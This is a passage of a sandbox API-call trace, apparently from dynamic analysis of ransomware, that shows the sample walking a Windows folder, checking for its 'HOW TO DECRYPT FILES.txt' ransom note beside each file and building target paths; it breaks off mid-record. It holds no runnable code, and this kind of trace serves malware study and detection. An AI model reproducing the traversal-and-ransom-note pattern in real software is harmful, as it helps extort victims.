lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="netfol.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico" [0092.153] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0092.153] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.153] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pictures.ico") returned -1 [0092.153] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pictures.ico") returned -1 [0092.153] lstrcmpiA (lpString1="", lpString2="pictures.ico") returned -1 [0092.153] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\netfol.ico") returned="netfol.ico" [0092.153] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.153] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.153] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.153] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.153] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="pictures.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico" [0092.154] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0092.154] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.154] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="resource.xml") returned -1 [0092.154] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="resource.xml") returned -1 [0092.154] lstrcmpiA (lpString1="", lpString2="resource.xml") returned -1 [0092.154] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico") returned="pictures.ico" [0092.154] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.154] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.154] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.154] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.154] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="resource.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml" [0092.155] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0092.155] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.155] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ringtones.ico") returned -1 [0092.155] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ringtones.ico") returned -1 [0092.155] lstrcmpiA (lpString1="", lpString2="ringtones.ico") returned -1 [0092.155] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned="resource.xml" [0092.155] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.155] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.155] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.155] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.155] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="ringtones.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" [0092.155] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0092.155] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.155] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="settings.ico") returned -1 [0092.156] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="settings.ico") returned -1 [0092.156] lstrcmpiA (lpString1="", lpString2="settings.ico") returned -1 [0092.156] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico") returned="ringtones.ico" [0092.156] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.156] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.156] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.156] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.156] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="settings.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" [0092.156] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0092.156] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.156] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="sync.ico") returned -1 [0092.156] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="sync.ico") returned -1 [0092.156] lstrcmpiA (lpString1="", lpString2="sync.ico") returned -1 [0092.157] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico") returned="settings.ico" [0092.157] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.157] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.157] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.157] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.157] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="sync.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" [0092.157] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0092.157] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.157] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="tasks.xml") returned -1 [0092.157] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="tasks.xml") returned -1 [0092.157] lstrcmpiA (lpString1="", lpString2="tasks.xml") returned -1 [0092.157] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico") returned="sync.ico" [0092.157] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.157] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.158] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.158] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.158] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="tasks.xml" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" [0092.158] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0092.158] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0092.158] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wmp.ico") returned -1 [0092.158] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wmp.ico") returned -1 [0092.158] lstrcmpiA (lpString1="", lpString2="wmp.ico") returned -1 [0092.158] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned="tasks.xml" [0092.158] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" [0092.158] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\" | out: pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\") returned="" [0092.158] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" [0092.158] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to decrypt files.txt")) returned 0x20 [0092.159] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\", lpString2="wmp.ico" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" [0092.159] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0092.159] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0092.159] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0092.159] lstrcmpA (lpString1=".", lpString2="{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned -1 [0092.159] lstrcmpA (lpString1="..", lpString2="{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned -1 [0092.159] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*.*") returned="*.*" [0092.159] lstrcatA (in: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\", lpString2="{e35be42d-f742-4d96-a50a-1775fb1a7a42}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}" [0092.159] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c007d, dwReserved1=0x4f0048, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.160] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.160] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0092.160] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.160] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.160] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xfff8afa0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff8afa0, 